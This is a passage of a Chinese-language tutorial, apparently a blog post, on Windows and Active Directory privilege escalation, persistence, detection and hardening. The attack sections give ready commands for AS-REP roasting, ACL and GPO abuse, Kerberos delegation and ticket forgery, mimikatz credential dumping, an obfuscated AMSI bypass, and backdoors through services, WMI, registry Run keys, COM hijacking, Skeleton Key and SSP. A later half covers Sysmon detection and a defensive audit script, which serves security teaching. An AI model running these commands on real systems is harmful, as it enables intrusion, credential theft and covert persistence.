# 步骤2:请求AS-REP票据
# 使用Rubeus
Rubeus.exe asreproast /user:victim_user /domain:contoso.com /outfile:C:\Temp\asrep.txt

# 步骤3:破解AS-REP哈希
# AS-REP Roasting使用hashcat模式18200
hashcat -m 18200 asrep_hashes.txt rockyou.txt

11.4 ACL配置错误提权

AD中的ACL配置错误是域提权的重要路径。如果低权限用户对高权限账户拥有特定的ACL权限,可通过修改目标对象实现提权。

ACL权限 说明 提权方式
GenericAll 完全控制 重置密码/修改组成员
GenericWrite 写入属性 修改SPN/设置脚本路径
WriteDacl 修改DACL 自授GenericAll后重置密码
WriteOwner 修改所有者 获取所有权后修改DACL
WriteProperty 写入指定属性 修改membership属性
Self 自我写入 添加自己到组
# 使用PowerView检测ACL配置错误
# 查找当前用户拥有GenericAll权限的对象
Invoke-ACLScanner | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} | Select-Object IdentityReference, DistinguishedName, ActiveDirectoryRights

# 查找所有ACL配置错误
Find-ModifiableACLOverlay

# 利用GenericAll重置目标用户密码
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force)

# 利用GenericAll将用户添加到Domain Admins组
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker_user

# 利用GenericWrite设置用户的SPN(用于Kerberoasting)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}

# 利用WriteDacl给自己授权
# 先获取对象的写DACL权限,再给自己添加GenericAll
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity attacker_user -Rights All

11.5 GPO提权

如果当前用户对某个GPO(组策略对象)拥有修改权限,可通过修改GPO植入恶意策略实现提权。

# 查找当前用户可修改的GPO
Get-NetGPO | Where-Object {
    $acl = Get-ObjectAcl -ADSpath $_.ADSpath
    $acl.ActiveDirectoryRights -match "WriteProperty|GenericAll" -and
    $acl.IdentityReference -match $env:USERNAME
}

# 利用GPO添加计划任务
# 通过修改GPT的ScheduledTasks.xml
$gpoPath = "\\contoso.com\sysvol\contoso.com\Policies\{GPO-GUID}\"
$xmlPath = "$gpoPath\Machine\Preferences\ScheduledTasks\"

# 创建恶意计划任务XML
$xmlContent = @"
<ScheduledTasks>
    <Task>
        <Name>UpdateTask</Name>
        <Properties action="CREATE" runAs="NT AUTHORITY\SYSTEM">
            <Task version="1.0">
                <RegistrationInfo>
                    <Description>System Update</Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>S-1-5-18</UserId>
                    </Principal>
                </Principals>
                <Actions>
                    <Exec>
                        <Command>cmd.exe</Command>
                        <Arguments>/c net user hacker P@ss123 /add && net localgroup administrators hacker /add</Arguments>
                    </Exec>
                </Actions>
            </Task>
        </Properties>
    </Task>
</ScheduledTasks>
"@

# 写入GPO
Set-Content -Path "$xmlPath\ScheduledTasks.xml" -Value $xmlContent

# 更新GPO版本号
# 需要同时更新Machine和GPO总版本号

11.6 约束委派利用

约束委派允许服务账户代表用户访问特定服务。如果获取了配置委派的账户,可利用委派获取其他服务的访问权限。

# 查找配置了约束委派的账户
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# 查找配置了约束委派的计算机账户
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

# 使用Rubeus利用约束委派
# 请求服务账户的TGT
Rubeus.exe asktgt /user:svc_account /domain:contoso.com /rc4:NTLM_hash /dc:DC.contoso.com /outfile:ticket.kirbi

# 使用TGT请求CIFS服务的服务票据(模拟管理员)
Rubeus.exe s4u /ticket:ticket.kirbi /impersonate:Administrator /msdsspn:cifs/target.contoso.com /dc:DC.contoso.com /ptt

# 使用获取的票据访问目标
dir \\target.contoso\c$

11.7 AD提权路径表

提权路径 前提条件 目标权限
Kerberoasting SPN服务账户密码弱 服务账户权限
AS-REP Roasting 用户禁用预认证 目标用户账户
ACL GenericAll 对目标有完全控制权限 目标用户/组
ACL WriteDacl 对目标有修改DACL权限 目标用户/组
GPO修改 对GPO有写权限 GPO作用域内所有机器
约束委派 拥有委派账户凭据 委派目标服务
资源约束委派 可修改计算机msDS-AllowedToActOnBehalfOfOtherIdentity 目标计算机SYSTEM
AD CS证书滥用 证书模板配置错误 任意用户身份
DCSSync 拥有DCSync权限 域内所有哈希
DNSAdmins 属于DNSAdmins组 域控制器SYSTEM

十二、PowerShell与C#提权工具

12.1 PowerShell提权模块

PowerUp
# 导入PowerUp
Import-Module .\PowerUp.ps1

# 执行所有提权检查
Invoke-AllChecks

# 单独检查项目
Get-ServiceUnquoted          # 未引用服务路径
Get-ModifiableService         # 可修改的服务
Get-ModifiableServiceFile    # 可修改的服务文件
Get-RegistryAutoStart        # 可修改的AutoRun项
Get-RegistryAlwaysInstallElevated  # AlwaysInstallElevated
Get-ModifiableScheduledTask  # 可修改的计划任务
Get-UnattendedInstallFile    # 无人值守安装文件
Get-ModifiableRegistryAutoRun # 可修改的注册表AutoRun

# 直接利用
Invoke-ServiceAbuse -ServiceName "VulnService" -Command "net user hacker P@ss /add"
Write-UserAddMSI              # 生成添加用户的MSI
Invoke-WScriptUACBypass       # UAC绕过
Privesc(PowerSploit)
# 导入Privesc模块
Import-Module .\Privesc.psm1

# 执行所有检查
Invoke-AllChecks

# 检查当前用户特权
Get-CurrentUserTokenPrivileges

# 检查可修改的服务
Get-ModifiableService

# 检查未引用的服务路径
Get-ServiceUnquoted -Verbose

# 检查服务文件权限
Get-ServiceFilePermission

12.2 C#提权工具

Seatbelt
# 收集所有信息
Seatbelt.exe -group=all

# 特定分组收集
Seatbelt.exe -group=system        # 系统信息
Seatbelt.exe -group=chrome        # Chrome凭据
Seatbelt.exe -group=remote        # 远程连接信息
Seatbelt.exe -group=interestingfiles # 有趣的文件
Seatbelt.exe -group=windowsdefender # Windows Defender配置

# 单项收集
Seatbelt.exe WindowsAutoLogon     # 自动登录凭据
Seatbelt.exe ScheduledTasks       # 计划任务
Seatbelt.exe Registry             # 注册表AutoRun
Seatbelt.exe PowerShell          # PowerShell历史记录
Seatbelt.exe CredEnum             # 凭据管理器
Rubeus(AD相关)
# AS-REP Roasting
Rubeus.exe asreproast /user:victim_user /domain:contoso.com

# Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt

# Pass-the-Hash
Rubeus.exe asktgt /user:Administrator /domain:contoso.com /rc4:NTLMhash /ptt

# Pass-the-Ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# S4U2Self/S4U2Proxy(约束委派)
Rubeus.exe s4u /user:svc_account /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/target /ptt

# DCSync
Rubeus.exe dcsync /user:krbtgt /domain:contoso.com
SharpUp
# 执行所有提权检查
SharpUp.exe

# 检查特定项目
SharpUp.exe -c service
SharpUp.exe -c unquoted
SharpUp.exe -c alwaysinstallelevated
SharpUp.exe -c registry
SharpUp.exe -c hijackable

12.3 AMSI绕过与CLM绕过

# AMSI绕过(反恶意软件扫描接口)
# 方法1:修改AMSI上下文
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 方法2:使用已知绕过方法
S ET-ItEM ( 'V'+'arIABLe:Of'+'s0U'+'t'  ) (  [TyPOF(  "{1}{0}{2}{3}"-F'p','am','SI.','ut' )] ) ;  (  geT-vaRiAbLE  ("ofs"+"0Ut")  )."GEt`FIeLd"(  "am"  +"SIIn"+"itf"+"AI"+"lED"  ,"NO"  +  "NpublIC,s"  +"TAT"  +"Ic").  "SEt`VaLUe"(  ${nuLl}  ,${tRuE}  )

# 方法3:硬件断点绕过
# 使用硬件断点Hook技术绕过AMSI

# CLM(Constrained Language Mode)绕过
# 检查是否处于CLM
$ExecutionContext.SessionState.LanguageMode
# 如果输出 ConstrainedLanguage,则处于CLM

# CLM绕过方法1:使用InstallUtil
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\BypassCLM.dll

# CLM绕过方法2:使用自定义AppDomain
# 通过C#编译的DLL绕过CLM限制

12.4 工具使用命令速查表

# === 通用提权检查 ===
# WinPEAS
winpeas.exe fast
# PowerUp
Invoke-AllChecks
# PrivescCheck
Invoke-PrivescCheck
# SharpUp
SharpUp.exe

# === 信息收集 ===
# Seatbelt
Seatbelt.exe -group=all
# Watson(漏洞匹配)
Watson.exe

# === UAC绕过 ===
# UACME
UACME.exe 33 C:\Temp\payload.exe

# === 令牌窃取 ===
# PrintSpoofer
PrintSpoofer.exe -i -c cmd.exe
# GodPotato
GodPotato.exe -cmd "whoami"

# === 凭据提取 ===
# Mimikatz
mimikatz.exe "sekurlsa::logonpasswords" exit
# secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCAL

# === AD攻击 ===
# Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# BloodHound
SharpHound.exe -c All

十三、提权后操作与持久化

获取SYSTEM或管理员权限后,持久化(Persistence)是维持访问的关键。

13.1 添加用户与隐藏账户

# 添加普通用户
net user backdoor P@ssw0rd! /add

# 添加到管理员组
net localgroup administrators backdoor /add

# 创建隐藏账户(账户名以$结尾)
net user hidden$ P@ssw0rd! /add
# 以$结尾的账户不会在net user列表中显示
# 但在本地用户管理器中可见

# 从注册表级别隐藏账户
# 导出正常用户的注册表
reg export "HKLM\SAM\SAM\Domains\Account\Users" C:\Temp\users.reg
# 记录正常用户的F值
reg query "HKLM\SAM\SAM\Domains\Account\Users\000001F4" /v F
# 将正常用户的F值复制到隐藏账户
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d <F_value> /f
# 设置隐藏账户名
reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\hidden$" /v "" /t REG_BINARY /d 0x000001F5 /f

【提示】 以$结尾的账户在 net user 命令中不可见,但在计算机管理控制台中仍可见。要从注册表级别完全隐藏,需要修改SAM注册表中的F值,使其模仿Guest账户。修改SAM注册表需要SYSTEM权限,且需要先给自己赋权。

13.2 后门植入

服务后门
# 创建恶意服务
sc create BackdoorSvc binPath= "C:\Temp\backdoor.exe" start= auto
sc description BackdoorSvc "Windows Update Service"
sc start BackdoorSvc

# 伪装为合法服务名
sc create "WindowsUpdate" binPath= "C:\Temp\backdoor.exe" start= auto
sc description "WindowsUpdate" "Manages Windows Updates"
计划任务后门
# 创建计划任务后门(每小时执行一次)
schtasks /create /tn "SystemUpdate" /tr "C:\Temp\backdoor.exe" /sc hourly /mo 1 /ru SYSTEM

# 创建登录时触发的计划任务
schtasks /create /tn "UserLogonUpdate" /tr "C:\Temp\backdoor.exe" /sc onlogon /ru SYSTEM

# 创建启动时触发的计划任务
schtasks /create /tn "SystemStartup" /tr "C:\Temp\backdoor.exe" /sc onstart /ru SYSTEM /rl highest
WMI事件订阅后门
# 创建WMI事件订阅(永久性后门)
# 触发条件:用户登录
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonEvent'"

$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "BackdoorFilter"
    EventNamespace = "root\subscription"
    Query = $query
    QueryLanguage = "WQL"
}

$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
    Name = "BackdoorConsumer"
    CommandLineTemplate = "C:\Temp\backdoor.exe"
}

# 绑定过滤器和消费者
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

# 删除WMI后门
$filter | Remove-WmiInstance
$consumer | Remove-WmiInstance
注册表后门
# 在注册表Run键添加自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Temp\backdoor.exe" /f

# 在用户级Run键添加
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Temp\backdoor.exe" /f
COM劫持后门
# COM劫持后门 - 修改HKCU中的InProcServer32
# 当系统COM组件被加载时执行恶意DLL
$clsid = "{b5f8350b-0548-48b1-a6ee-88bd135b2a97}"
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"

# 创建注册表项
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "C:\Temp\backdoor.dll"
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Apartment"

# 当被劫持的COM对象被任何进程加载时,恶意DLL会被执行
# 可通过劫持常用的COM对象实现持久化

13.3 黄金票据与白银票据维持

黄金票据(Golden Ticket)
# 黄金票据需要krbtgt账户的NTLM哈希
# 使用mimikatz生成
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:ntlm_hash_of_krbtgt /ptt" exit

# 使用Rubeus生成
Rubeus.exe golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /aes256:aes256_hash /ptt

# 黄金票据特点:
# 1. 可伪造任意用户(包括不存在的用户)
# 2. 可访问域内任何服务
# 3. 有效期默认10年
# 4. 即使目标用户密码修改仍有效(除非krbtgt密码修改两次)
白银票据(Silver Ticket)
# 白银票据需要服务账户的NTLM哈希
# 伪造特定服务的TGS票据
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /target:server.contoso.com /service:cifs /rc4:ntlm_hash_of_service /ptt" exit

# 白银票据特点:
# 1. 不需要与DC通信
# 2. 只能访问特定服务
# 3. 隐蔽性更高(不产生Kerberos流量到DC)
# 4. 需要服务账户哈希

13.4 Skeleton Key后门

Skeleton Key是一种域控制器后门,向LSASS注入恶意DLL,使所有用户的密码变为统一的"skeleton key"密码。

# 在域控制器上执行(需要Domain Admin权限)
mimikatz.exe "privilege::debug" "misc::skeleton" exit

# 执行后,任何用户都可以使用原密码或"mimikatz"作为密码登录
# 例如:Administrator的密码是"P@ss123"
# 执行Skeleton Key后,Administrator既可以用"P@ss123"登录,也可以用"mimikatz"登录

# 清除Skeleton Key
# 需要重启域控制器

13.5 SSP后门

SSP(Security Support Provider)后门通过自定义SSP DLL捕获登录凭据。

# 方法1:通过注册表添加SSP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v Security Packages /t REG_MULTI_SZ /d "msv1_0.dll\0kerberos.dll\0custom_ssp.dll" /f

# 方法2:使用mimikatz注入SSP
mimikatz.exe "privilege::debug" "misc::ssp" exit

# SSP后门会在用户登录时捕获明文密码
# 凭据保存在 C:\Windows\System32\mimilsa.log

13.6 持久化技术对比表

持久化技术 权限要求 隐蔽性 持久性 检测难度
隐藏账户($) SYSTEM 持久
服务后门 Administrator 持久
计划任务后门 Administrator 持久
WMI事件订阅 Administrator 持久
COM劫持 用户级 持久
注册表AutoRun Administrator 持久
黄金票据 域管理员 10年
白银票据 域用户 持久
Skeleton Key 域管理员 至重启
SSP后门 SYSTEM 持久

【提示】 高隐蔽性的持久化技术(如WMI事件订阅、COM劫持)不创建新的进程或服务,更难被常规安全工具发现。在蓝队演练中,应重点关注这些隐蔽持久化方法。黄金票据是域环境中最具破坏性的后门,防御方法是定期(至少两次)修改krbtgt账户密码。

十四、检测与防御

14.1 提权检测方法表

检测方法 Sysmon事件ID 说明
进程创建 1 监控可疑进程创建(如whoami、net user)
文件创建时间修改 2 检测时间戳篡改
网络连接 3 监控异常外联
Sysmon服务状态变更 4 监控Sysmon自身状态
进程终止 5 记录进程终止
驱动程序加载 6 监控恶意驱动加载
镜像加载 7 监控DLL加载
CreateRemoteThread 8 检测进程注入
RawAccessRead 9 检测磁盘原始读取(读SAM)
Process Tampering 10 检测进程篡改
文件创建 11 监控可疑文件创建
注册表事件 12/13/14 监控注册表修改
文件流创建 15 监控ADS创建
访问SAM/SYSTEM 10 检测SAM/SYSTEM文件读取
凭据访问 4656/4663 检测LSASS访问
服务安装 7045 检测新服务创建
用户创建 4720 检测新用户创建
用户添加到组 4728/4732 检测权限提升

14.2 权限配置加固清单表

序号 加固项 推荐配置 检测命令
1 服务路径引号 所有服务路径用引号包裹 wmic service get pathname
2 服务目录权限 仅Administrators和SYSTEM可写 icacls 检查
3 AlwaysInstallElevated 设置为0或删除 reg query
4 UAC级别 设置为"始终通知" reg query ConsentPromptBehaviorAdmin
5 自动登录 禁用 reg query AutoAdminLogon
6 注册表Run键权限 仅Administrators可写 accesschk -k
7 启动文件夹权限 仅Administrators可写 icacls
8 SAM文件权限 仅SYSTEM可读 icacls C:\Windows\System32\config\SAM
9 计划任务权限 检查任务执行权限 schtasks /query /v
10 服务权限 移除多余用户权限 sc sdshow
11 LSA保护 启用RunAsPPL reg query RunAsPPL
12 凭据保护 启用Credential Guard 检查LSA配置
13 PowerShell日志 启用脚本块日志 reg query PowerShell
14 Windows Defender 启用实时保护 Get-MpPreference
15 驱动签名 启用驱动签名验证 bcdedit /enum
16 SMBv1 禁用 Get-SmbServerConfiguration
17 RDP NLA 启用 reg query UserAuthentication
18 LmCompatibilityLevel 设置为5 reg query LmCompatibilityLevel
19 密码策略 复杂度+长度+锁定 net accounts
20 来宾账户 禁用 net user Guest
21 Print Spooler 非打印服务器禁用 Get-Service Spooler
22 WDigest 禁用明文存储 reg query UseLogonCredential

14.3 服务安全配置

# 查看服务安全描述符
sc sdshow Spooler

# 设置服务安全描述符(限制服务修改权限)
# SDDL格式: D:(DACL); S:(SACL)
# 以下SDDL仅允许SYSTEM和Administrators修改服务
sc sdset TargetService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;FA;;;WD)

# 检查所有服务路径是否被引号包裹
wmic service get name,pathname | findstr /v "system32" | findstr /v '"'

# 修复未引用的服务路径
sc config TargetService binPath= "\"C:\Program Files\My Service\service.exe\""

# 检查服务可执行文件目录权限
Get-CimInstance Win32_Service | ForEach-Object {
    $path = $_.PathName -replace '^"?', '' -replace '"?.*$', '' -replace '\\[^\\]+$', ''
    if (Test-Path $path) {
        $acl = Get-Acl $path
        $accessRules = $acl.Access | Where-Object {
            $_.IdentityReference -match "Users|Everyone" -and
            $_.FileSystemRights -match "Write|FullControl"
        }
        if ($accessRules) {
            Write-Output "VULNERABLE: $path ($($_.Name))"
        }
    }
}

14.4 注册表安全配置

# 检查AlwaysInstallElevated并禁用
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f
reg delete "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f

# 或设置为0
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f

# 禁用自动登录
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "0" /f
# 清除存储的凭据
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword /f

# 检查注册表Run键权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
accesschk.exe -uwcqv "Authenticated Users" -k "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

14.5 UAC配置强化

# 设置UAC为最高级别(始终通知)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f

# 启用安全桌面
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f

# 启用UAC虚拟化
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableVirtualization /t REG_DWORD /d 1 /f

# 启用UAC
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f

# 通过组策略配置UAC
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options

14.6 内核漏洞修补

# 检查系统补丁状态
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID

# 关键安全补丁检查列表
$criticalPatches = @(
    "KB5004760",  # CVE-2021-1675 PrintNightmare
    "KB5004298",  # CVE-2021-36934 HiveNightmare
    "KB4013389",  # MS17-010 EternalBlue
    "KB3124280",  # MS16-032
    "KB3195885",  # MS16-135
    "KB4534271"   # CVE-2020-0787
)

foreach ($patch in $criticalPatches) {
    if ($hotfixes -contains $patch) {
        Write-Output "[OK] $patch installed"
    } else {
        Write-Output "[MISSING] $patch NOT installed - VULNERABLE"
    }
}

# 检查SAM文件权限(HiveNightmare检测)
$samACL = (Get-Acl "C:\Windows\System32\config\SAM").Access
$nonAdminAccess = $samACL | Where-Object {
    $_.IdentityReference -notmatch "SYSTEM|Administrators|TrustedInstaller" -and
    $_.AccessControlType -eq "Allow"
}
if ($nonAdminAccess) {
    Write-Output "[VULNERABLE] SAM file readable by non-admin: HiveNightmare"
    $nonAdminAccess | Format-Table
}

14.7 Windows Defender配置

# 查看Defender配置
Get-MpPreference

# 启用实时保护
Set-MpPreference -DisableRealtimeMonitoring $false

# 启用云保护
Set-MpPreference -MAPSReporting Advanced
Set-MpPreference -SubmitSamplesConsent SendSafeSamples

# 启用PUA检测
Set-MpPreference -PUAProtection Enabled

# 设置排除项(谨慎操作)
# 查看排除项
Get-MpPreference | Select-Object -Property Exclusion*
# 移除不必要的排除项
Remove-MpPreference -ExclusionPath "C:\Temp"

# 启用网络保护
Set-MpPreference -EnableNetworkProtection Enabled

# 启用攻击面缩减规则(ASR)
# 阻止凭据窃取
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-6d63-4db9-a5f2-2b3c2f2aa0c3 -AttackSurfaceReductionRules_Actions Enabled
# 阻止子进程创建
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f94017-0419-4634-9844-e4ba6f3a9b39 -AttackSurfaceReductionRules_Actions Enabled
# 阻止Office应用注入其他进程
Add-MpPreference -AttackSurfaceReductionRules_Ids 756d4d11-337b-4e3c-9b33-e3be787be2c3 -AttackSurfaceReductionRules_Actions Enabled

# 更新Defender签名
Update-MpSignature

14.8 防御脚本编写

以下是一个完整的Windows提权防御加固检查脚本:

<#
.SYNOPSIS
    Windows提权防御加固检查脚本
.DESCRIPTION
    检查常见提权路径的安全配置状态
.NOTES
    用于安全审计和合规检查
#>

$ErrorActionPreference = "SilentlyContinue"
$findings = @()

function Add-Finding($category, $severity, $description, $recommendation) {
    $findings += [PSCustomObject]@{
        Category      = $category
        Severity      = $severity
        Description   = $description
        Recommendation = $recommendation
    }
}

Write-Output "=== Windows Privilege Escalation Defense Audit ==="
Write-Output "Date: $(Get-Date)"
Write-Output ""

# 1. 检查AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated").AlwaysInstallElevated
$hklm = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated").AlwaysInstallElevated
if ($hkcu -eq 1 -or $hklm -eq 1) {
    Add-Finding "AlwaysInstallElevated" "HIGH" "AlwaysInstallElevated is enabled" "Disable AlwaysInstallElevated registry key"
}

# 2. 检查自动登录凭据
$autoLogon = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").AutoAdminLogon
if ($autoLogon -eq "1") {
    Add-Finding "AutoLogon" "HIGH" "AutoLogon is enabled" "Disable AutoAdminLogon and clear stored credentials"
}

# 3. 检查SAM文件权限
$samACL = (Get-Acl "C:\Windows\System32\config\SAM").Access
$nonAdminAccess = $samACL | Where-Object {
    $_.IdentityReference -notmatch "SYSTEM|Administrators|TrustedInstaller" -and
    $_.AccessControlType -eq "Allow"
}
if ($nonAdminAccess) {
    Add-Finding "SAM Permissions" "CRITICAL" "SAM file is readable by non-admin accounts" "Fix SAM file ACL permissions"
}

# 4. 检查UAC配置
$uacLevel = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").ConsentPromptBehaviorAdmin
if ($uacLevel -eq 0) {
    Add-Finding "UAC" "MEDIUM" "UAC is set to silently elevate without prompt" "Set ConsentPromptBehaviorAdmin to 2"
}

# 5. 检查未引用的服务路径
$services = Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
}
if ($services) {
    Add-Finding "Service Paths" "HIGH" "Found services with unquoted paths" "Wrap service paths in quotes"
}

# 6. 检查Print Spooler服务
$spooler = Get-Service -Name Spooler -ErrorAction SilentlyContinue
if ($spooler -and $spooler.Status -eq "Running") {
    Add-Finding "Print Spooler" "MEDIUM" "Print Spooler service is running" "Disable Print Spooler if not needed (PrintNightmare)"
}

# 7. 检查WDigest明文存储
$wdigest = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest" -Name "UseLogonCredential").UseLogonCredential
if ($wdigest -eq 1) {
    Add-Finding "WDigest" "HIGH" "WDigest credential storage is enabled" "Disable UseLogonCredential"
}

# 8. 检查LSA保护
$lsaProtection = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL").RunAsPPL
if ($lsaProtection -ne 1) {
    Add-Finding "LSA Protection" "HIGH" "LSA Protection (RunAsPPL) is not enabled" "Enable RunAsPPL for LSA protection"
}

# 9. 检查SMBv1
$smbv1 = (Get-SmbServerConfiguration).EnableSMB1Protocol
if ($smbv1) {
    Add-Finding "SMBv1" "HIGH" "SMBv1 protocol is enabled" "Disable SMBv1 protocol"
}

# 10. 检查来宾账户
$guest = Get-LocalUser -Name Guest
if ($guest.Enabled) {
    Add-Finding "Guest Account" "MEDIUM" "Guest account is enabled" "Disable the Guest account"
}

# 输出结果
if ($findings.Count -eq 0) {
    Write-Output "No critical findings. System appears to be well-hardened."
} else {
    Write-Output "Total Findings: $($findings.Count)"
    Write-Output ""
    $findings | Format-Table -AutoSize
}

Write-Output ""
Write-Output "=== Audit Complete ==="

【提示】 防御加固不是一次性操作,而应形成常态化安全基线检查机制。建议每月运行一次加固检查脚本,并在补丁日(每月第二个周二)后及时安装安全更新。同时,部署Sysmon并配置合理的日志收集策略,是检测提权行为的关键防线。

总结

Windows权限提升是一个多层次、多维度的技术体系。本文从15个方面系统梳理了Windows提权的完整知识图谱:

提权路径 核心思路 适用场景
服务配置错误 替换/修改服务可执行文件 通用,最常见
注册表提权 利用AlwaysInstallElevated/AutoRun MSI安装包权限
UAC绕过 利用autoElevate组件 管理员账户提权
令牌窃取 模拟SYSTEM进程令牌 服务账户提权
计划任务/启动项 替换自动运行文件 需要重启或登录触发
内核漏洞 利用未修复漏洞 未打补丁的系统
DLL劫持 在搜索路径放置恶意DLL 可写目录+高权限程序
凭据提取 从内存/文件提取密码 已有初步访问权限
AD域提权 横向移动到域管理员 域环境
持久化 维持高权限访问 长期控制

在实际渗透测试中,提权路径的选择取决于目标系统的具体配置。建议遵循以下流程:

  1. 使用WinPEAS/Seatbelt进行全面的自动化信息收集
  2. 根据信息收集结果,优先尝试配置错误类提权(服务、注册表)
  3. 如果是服务账户,优先尝试Potato系列令牌窃取
  4. 如果是管理员账户,尝试UAC绕过
  5. 如果以上均不可行,检查内核漏洞并使用Watson匹配
  6. 在域环境中,使用BloodHound分析攻击路径

掌握Windows提权技术不仅对攻击方至关重要,对防御方同样重要——只有了解攻击路径,才能制定有效的防御策略。本文的所有技术内容仅用于授权安全测试和学习研究,请在合法授权范围内使用。

【提示】 安全是一个持续对抗的过程。新的提权漏洞和技术不断涌现,本文覆盖的漏洞和工具会随时间推移而更新。建议关注最新的安全研究动态,持续学习和更新知识库。在合法的授权测试环境中不断实践,是提升安全技能的最佳方式。在这里插入图片描述

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐